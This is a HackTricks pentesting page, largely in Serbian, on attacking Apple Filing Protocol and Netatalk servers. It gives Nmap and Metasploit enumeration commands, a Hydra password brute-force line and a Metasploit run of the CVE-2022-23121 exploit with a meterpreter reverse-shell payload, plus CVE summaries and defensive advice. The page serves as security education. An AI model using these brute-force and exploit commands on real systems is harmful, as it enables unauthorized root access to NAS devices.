548 - Pentesting Apple Filing Protocol (AFP)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, je specijalizovani mrežni protokol uključen u Apple File Service (AFS). Dizajniran je da obezbedi file services za macOS i classic Mac OS. AFP se izdvaja podrškom za Unicode file names, POSIX-style i ACL permissions, resource forks, named extended attributes i sofisticirane mehanizme file-locking.
Iako je AFP zamenjen sa SMB u modernim macOS izdanjima (SMB je podrazumevani od OS X 10.9), i dalje se susreće u:
- Legacy macOS / Mac OS 9 okruženjima
- NAS appliances (QNAP, Synology, Western Digital, TrueNAS…) koji ugrađuju open-source Netatalk daemon
- Mixed-OS mrežama gde je Time-Machine-over-AFP još uvek omogućena
Podrazumevani TCP port: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeracija
Brzi banner / informacije o serveru
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Korisne AFP NSE skripte:
| Skripta | Šta radi |
|---|---|
| afp-ls | Prikaži dostupne AFP volumene i fajlove |
| afp-brute | Brute-force lozinki protiv AFP prijave |
| afp-serverinfo | Ispisuje ime servera, tip mašine, AFP verziju, podržane UAMs, itd. |
| afp-showmount | Prikaži deljene resurse zajedno sa njihovim ACLs |
| afp-path-vuln | Detektuje (i može iskoristiti) directory-traversal, CVE-2010-0533 |
NSE brute-force skripta se može kombinovati sa Hydra/Medusa ako je potrebna veća kontrola:
hydra -L users.txt -P passwords.txt afp://<IP>
Ako već imate kredencijale, Nmap’s AFP skripte postaju mnogo korisnije zato što afp-serverinfo leaks oglašene UAMs (metode autentikacije), dok afp-showmount i afp-ls mogu da izlistaju dostupne shares, ACLs i zanimljive fajlove:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
Obratite pažnju na:
- Machine Type: Netatalk u izlazu
afp-serverinfo, što obično znači NAS / Unix host, a ne Apple-ovu sopstvenu AFP implementaciju. - UAMs kao što su
DHX,DHX2,CleartxtiliGuest, jer direktno ukazuju na dostupne putanje za prijavu i da li je omogućena nasleđena / slaba autentifikacija. - Share ACLs iz
afp-showmount; svima čitljivi ili drop-box stil deljenja često otkrivaju rezervne kopije,.applfajlove i korisničke metapodatke pre nego što uopšte mount-ujete volumen.
Interacting with shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (koristeći afpfs-ng ‑ pakovan u većini distrosa)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Kada se montira, imajte na umu da su klasični Mac resource-forkovi skladišteni kao skriveni ._* AppleDouble fajlovi – oni često sadrže zanimljive metapodatke koje DFIR alati propuštaju.
Na Netatalk ciljevima ovaj backend metapodataka takođe utiče na eksploatabilnost:
ea = adznači da se metapodaci čuvaju u AppleDouble v2 fajlovima /.AppleDoubledirektorijumima.ea = sysiliea = sambačuva metapodatke u proširenim atributima fajl sistema umesto toga.- U Netatalk 4.2+ stara
appledoubleopcija je uklonjena i backend se kontroliše isključivo kroz opcijuea.
Iz ofanzivne perspektive, ovo vam omogućava da brzo procenite da li su AppleDouble-oriented bugs verovatnije dostupni na serveru.
Uobičajene ranjivosti i eksploatacija
Netatalk unauthenticated RCE chain (2022)
Nekoliko NAS vendor-a isporučilo je Netatalk ≤3.1.12. Nedostatak provere granica u parse_entries() omogućava napadaču da konstruše maliciozan AppleDouble header i dobije remote root pre autentifikacije (CVSS 9.8 – CVE-2022-23121). Dostupan je detaljan write-up od NCC Group sa PoC-om koji eksploatiše Western-Digital PR4100.
Metasploit (>= 6.3) uključuje modul exploit/linux/netatalk/parse_entries koji isporučuje payload preko DSI WRITE.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Ako meta koristi pogođeni QNAP/Synology firmware, uspešna eksploatacija obezbeđuje shell kao root.
Netatalk OpenSession heap overflow (2018)
Starije Netatalk (3.0.0 - 3.1.11) je ranjiv na an out-of-bounds write u DSI OpenSession handleru što omogućava unauthenticated code execution (CVE-2018-1160). Detaljna analiza i PoC su objavljeni od strane Tenable Research.
Newer Netatalk attack surface (2022-2024)
Nedavni Netatalk advisories pokazuju da attack surface više nije ograničen na parse_entries() i OpenSession handling:
- CVE-2022-45188: posebno osmišljen
.applfajl može pokrenuti heap overflow uafp_getappl; ovo je posebno relevantno ako možete upisivati fajlove u share i ako server pokreće FCE / notify features. - CVE-2023-42464: a type confusion bug u Spotlight RPC handlerima može postati dostupan kada je
spotlight = yesomogućeno uafp.conf(po defaultu isključeno). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: jednobajtni heap out-of-bounds write-ovi u login-povezanim putanjama ispravljeni u Netatalk 2.4.1 / 3.1.19 / 3.2.1. Ovi bugovi su zanimljivi jer eksploatabilnost zavisi od konfigurisanih UAMs:
uams_clrtxt.so+ PAM-backed ClearTxt login izlažeFPLoginExtputanju relevantnu za CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login doseže ranjivu putanju za CVE-2024-38440.uams_guest.soodržava dostupnom Guest login putanju za CVE-2024-38441.
Ovo znači da izlaz afp-serverinfo nije samo fingerprinting data; pomaže da odlučite koji login parser je izložen pre nego što potrošite vreme na razvoj exploit-a ili triage NAS firmware-a.
Other notable issues
- CVE-2022-22995 – Symlink redirection koja vodi do arbitrary file write / RCE kada je AppleDouble v2 omogućeno (3.1.0 - 3.1.17).
- CVE-2010-0533 – Directory traversal u Apple Mac OS X 10.6 AFP (detektovano od strane
afp-path-vuln.nse). - Više memory-safety bugova je ponovo ispravljeno tokom 2024 Netatalk releases; ako identifikujete
Netatalkuafp-serverinfo, izdvojite minut da korelirate izložene UAMs / Spotlight / metadata backend sa verzijom servera pre nego što pretpostavite da su samo 2018/2022 bugovi relevantni.
Defensive Recommendations
- Disable AFP osim ako nije apsolutno neophodno – umesto toga koristite SMB3 ili NFS.
- Ako AFP mora ostati, upgrade Netatalk na ≥ 3.1.18 ili 4.x, ili primenite vendor firmware koji back-ports 2022/2023/2024 zakrpe.
- Nametnite Strong UAMs (npr. DHX2), onemogućite clear-text i guest logine.
- Ograničite TCP 548 na trusted subnet-e i obavijte AFP unutar VPN-a kada je izložen udaljeno.
- Periodično skenirajte sa
nmap -p 548 --script afp-*u CI/CD da biste uhvatili rogue / downgraded appliance-e.
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


